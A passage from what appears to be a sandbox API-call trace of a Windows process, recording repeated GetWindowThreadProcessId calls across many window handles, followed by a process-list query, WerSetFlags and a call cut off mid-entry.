lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.566] GetWindowThreadProcessId (in: hWnd=0x1034e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.853] GetWindowThreadProcessId (in: hWnd=0x1035e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xefc [0111.853] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1364 [0111.853] GetWindowThreadProcessId (in: hWnd=0x1033e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.853] GetWindowThreadProcessId (in: hWnd=0x10318, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.853] GetWindowThreadProcessId (in: hWnd=0x20302, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.853] GetWindowThreadProcessId (in: hWnd=0x202e4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.853] GetWindowThreadProcessId (in: hWnd=0x202f0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1038 [0111.854] GetWindowThreadProcessId (in: hWnd=0x1702f8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x11e8 [0111.854] GetWindowThreadProcessId (in: hWnd=0x202ec, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1024 [0111.854] GetWindowThreadProcessId (in: hWnd=0x202e8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1010 [0111.854] GetWindowThreadProcessId (in: hWnd=0x202e2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfa0 [0111.854] GetWindowThreadProcessId (in: hWnd=0x202de, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc44 [0111.854] GetWindowThreadProcessId (in: hWnd=0x202da, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xedc [0111.854] GetWindowThreadProcessId (in: hWnd=0x202d6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xee0 [0111.855] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xeac [0111.855] GetWindowThreadProcessId (in: hWnd=0x202ce, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x84 [0111.855] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x6dc [0111.855] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xb00 [0111.855] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xbe8 [0111.855] GetWindowThreadProcessId (in: hWnd=0x202be, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd90 [0111.855] GetWindowThreadProcessId (in: hWnd=0x102ba, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd18 [0111.856] GetWindowThreadProcessId (in: hWnd=0x202b8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x480 [0111.856] GetWindowThreadProcessId (in: hWnd=0x202b4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xff8 [0111.856] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xaf4 [0111.856] GetWindowThreadProcessId (in: hWnd=0x302ac, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xecc [0111.856] GetWindowThreadProcessId (in: hWnd=0x202a8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf68 [0111.856] GetWindowThreadProcessId (in: hWnd=0x202a4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf40 [0111.857] GetWindowThreadProcessId (in: hWnd=0x102a0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf5c [0111.857] GetWindowThreadProcessId (in: hWnd=0x2029a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdb4 [0111.857] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf14 [0111.857] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xef4 [0111.857] GetWindowThreadProcessId (in: hWnd=0x2028e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xeb0 [0111.857] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe7c [0111.857] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe98 [0111.858] GetWindowThreadProcessId (in: hWnd=0x20282, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe60 [0111.858] GetWindowThreadProcessId (in: hWnd=0x3027c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x8f0 [0111.858] GetWindowThreadProcessId (in: hWnd=0x3027a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x680 [0111.858] GetWindowThreadProcessId (in: hWnd=0x30270, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdcc [0111.858] GetWindowThreadProcessId (in: hWnd=0x6025c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x83c [0111.858] GetWindowThreadProcessId (in: hWnd=0x2026a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xac0 [0111.858] GetWindowThreadProcessId (in: hWnd=0x20264, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc88 [0111.859] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xabc [0111.859] GetWindowThreadProcessId (in: hWnd=0x30258, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa38 [0111.859] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc20 [0111.859] GetWindowThreadProcessId (in: hWnd=0x3024e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7bc [0111.859] GetWindowThreadProcessId (in: hWnd=0x20246, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdec [0111.859] GetWindowThreadProcessId (in: hWnd=0x20240, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdd4 [0111.859] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa6c [0111.860] GetWindowThreadProcessId (in: hWnd=0x20238, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xb64 [0111.860] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x58 [0111.860] GetWindowThreadProcessId (in: hWnd=0x501f4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xda8 [0111.860] GetWindowThreadProcessId (in: hWnd=0x201ee, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd50 [0111.860] GetWindowThreadProcessId (in: hWnd=0x4006c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd9c [0111.860] GetWindowThreadProcessId (in: hWnd=0x30084, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd94 [0111.860] GetWindowThreadProcessId (in: hWnd=0x40086, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa50 [0111.861] GetWindowThreadProcessId (in: hWnd=0x3005a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd70 [0111.861] GetWindowThreadProcessId (in: hWnd=0x30058, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x760 [0111.861] GetWindowThreadProcessId (in: hWnd=0x3006e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd24 [0111.861] GetWindowThreadProcessId (in: hWnd=0x30066, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd40 [0111.861] GetWindowThreadProcessId (in: hWnd=0x30062, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa70 [0111.861] GetWindowThreadProcessId (in: hWnd=0x8005e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x548 [0111.862] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x364 [0111.862] GetWindowThreadProcessId (in: hWnd=0x70072, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x580 [0111.862] GetWindowThreadProcessId (in: hWnd=0x60032, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xcdc [0111.862] GetWindowThreadProcessId (in: hWnd=0x30172, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xae8 [0111.862] GetWindowThreadProcessId (in: hWnd=0x3015e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xafc [0111.862] GetWindowThreadProcessId (in: hWnd=0x30162, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfec [0111.862] GetWindowThreadProcessId (in: hWnd=0x30202, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfd8 [0111.863] GetWindowThreadProcessId (in: hWnd=0x300f0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfbc [0111.863] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfa8 [0111.863] GetWindowThreadProcessId (in: hWnd=0x2008e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf94 [0111.863] GetWindowThreadProcessId (in: hWnd=0x30174, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf80 [0111.863] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xca4 [0111.863] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc80 [0111.864] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc80 [0111.864] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc7c [0111.864] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc7c [0111.864] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc80 [0111.864] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc34 [0111.864] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.864] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc34 [0111.865] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x301c0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x200a6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x9f4 [0111.865] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.865] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.866] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.866] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.866] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.866] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x654 [0111.866] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.866] GetWindowThreadProcessId (in: hWnd=0x100ea, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.866] GetWindowThreadProcessId (in: hWnd=0x2007a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc7c [0111.866] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.867] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x640 [0111.867] GetWindowThreadProcessId (in: hWnd=0x2003c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7f4 [0111.867] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.867] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.867] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x380 [0111.867] GetWindowThreadProcessId (in: hWnd=0x2007e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x474 [0111.867] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.868] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa98 [0111.868] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.868] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.868] GetWindowThreadProcessId (in: hWnd=0x80380, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1254 [0111.868] GetWindowThreadProcessId (in: hWnd=0x1033c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.868] GetWindowThreadProcessId (in: hWnd=0x40060, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.868] GetWindowThreadProcessId (in: hWnd=0x103a6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xff4 [0111.868] GetWindowThreadProcessId (in: hWnd=0x10360, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xefc [0111.869] GetWindowThreadProcessId (in: hWnd=0x102f2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1038 [0111.869] GetWindowThreadProcessId (in: hWnd=0x102ee, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1024 [0111.869] GetWindowThreadProcessId (in: hWnd=0x102ea, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x1010 [0111.869] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfa0 [0111.869] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc44 [0111.869] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xedc [0111.869] GetWindowThreadProcessId (in: hWnd=0x102d8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xee0 [0111.870] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xeac [0111.870] GetWindowThreadProcessId (in: hWnd=0x102d0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x84 [0111.870] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x6dc [0111.870] GetWindowThreadProcessId (in: hWnd=0x102c8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xb00 [0111.870] GetWindowThreadProcessId (in: hWnd=0x102c4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xbe8 [0111.870] GetWindowThreadProcessId (in: hWnd=0x102c0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd90 [0111.870] GetWindowThreadProcessId (in: hWnd=0x102bc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd18 [0111.870] GetWindowThreadProcessId (in: hWnd=0x4029e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x480 [0111.871] GetWindowThreadProcessId (in: hWnd=0x102b6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xff8 [0111.871] GetWindowThreadProcessId (in: hWnd=0x102b2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xaf4 [0111.871] GetWindowThreadProcessId (in: hWnd=0x202ae, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xecc [0111.871] GetWindowThreadProcessId (in: hWnd=0x102aa, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf68 [0111.871] GetWindowThreadProcessId (in: hWnd=0x102a6, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf40 [0111.871] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf5c [0111.871] GetWindowThreadProcessId (in: hWnd=0x1029c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdb4 [0111.871] GetWindowThreadProcessId (in: hWnd=0x10298, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf14 [0111.872] GetWindowThreadProcessId (in: hWnd=0x10294, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xef4 [0111.872] GetWindowThreadProcessId (in: hWnd=0x10290, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xeb0 [0111.872] GetWindowThreadProcessId (in: hWnd=0x1028c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe7c [0111.872] GetWindowThreadProcessId (in: hWnd=0x10288, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe98 [0111.872] GetWindowThreadProcessId (in: hWnd=0x10284, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xe60 [0111.872] GetWindowThreadProcessId (in: hWnd=0x10280, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x8f0 [0111.872] GetWindowThreadProcessId (in: hWnd=0x40274, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x680 [0111.872] GetWindowThreadProcessId (in: hWnd=0x1027e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdcc [0111.873] GetWindowThreadProcessId (in: hWnd=0x10276, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x83c [0111.873] GetWindowThreadProcessId (in: hWnd=0x10272, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xac0 [0111.873] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc88 [0111.873] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xabc [0111.873] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa38 [0111.873] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc20 [0111.873] GetWindowThreadProcessId (in: hWnd=0x30254, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7bc [0111.873] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdec [0111.874] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xdd4 [0111.874] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa6c [0111.874] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xb64 [0111.874] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x58 [0111.874] GetWindowThreadProcessId (in: hWnd=0x20234, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xda8 [0111.874] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd50 [0111.874] GetWindowThreadProcessId (in: hWnd=0x401f0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd9c [0111.875] GetWindowThreadProcessId (in: hWnd=0x20080, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd94 [0111.875] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa50 [0111.875] GetWindowThreadProcessId (in: hWnd=0x30078, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd70 [0111.875] GetWindowThreadProcessId (in: hWnd=0x2005c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x760 [0111.875] GetWindowThreadProcessId (in: hWnd=0x3007c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd24 [0111.875] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xd40 [0111.875] GetWindowThreadProcessId (in: hWnd=0x20056, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa70 [0111.875] GetWindowThreadProcessId (in: hWnd=0x30052, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x548 [0111.876] GetWindowThreadProcessId (in: hWnd=0x20190, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x364 [0111.876] GetWindowThreadProcessId (in: hWnd=0x70034, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x580 [0111.876] GetWindowThreadProcessId (in: hWnd=0x601be, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xcdc [0111.876] GetWindowThreadProcessId (in: hWnd=0x40166, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xae8 [0111.876] GetWindowThreadProcessId (in: hWnd=0x30168, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xafc [0111.876] GetWindowThreadProcessId (in: hWnd=0x30160, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfec [0111.876] GetWindowThreadProcessId (in: hWnd=0x201f8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfd8 [0111.876] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfbc [0111.877] GetWindowThreadProcessId (in: hWnd=0x20114, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xfa8 [0111.877] GetWindowThreadProcessId (in: hWnd=0x20092, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf94 [0111.877] GetWindowThreadProcessId (in: hWnd=0x30090, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xf80 [0111.877] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xca4 [0111.877] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc7c [0111.877] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc80 [0111.877] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc34 [0111.877] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.878] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.878] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x654 [0111.878] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x640 [0111.878] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cbea5e1968, Length=0x20000, ResultLength=0x250451db30 | out: SystemInformation=0x1cbea5e1968, ResultLength=0x250451db30*=0x26b90) returned 0xc0000004 [0111.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cbea6019a0, Length=0x29390, ResultLength=0x250451db30 | out: SystemInformation=0x1cbea6019a0, ResultLength=0x250451db30*=0x26b90) returned 0x0 [0111.985] WerSetFlags () returned 0x0 [0111.988] SetThreadPreferredUILanguages (in: 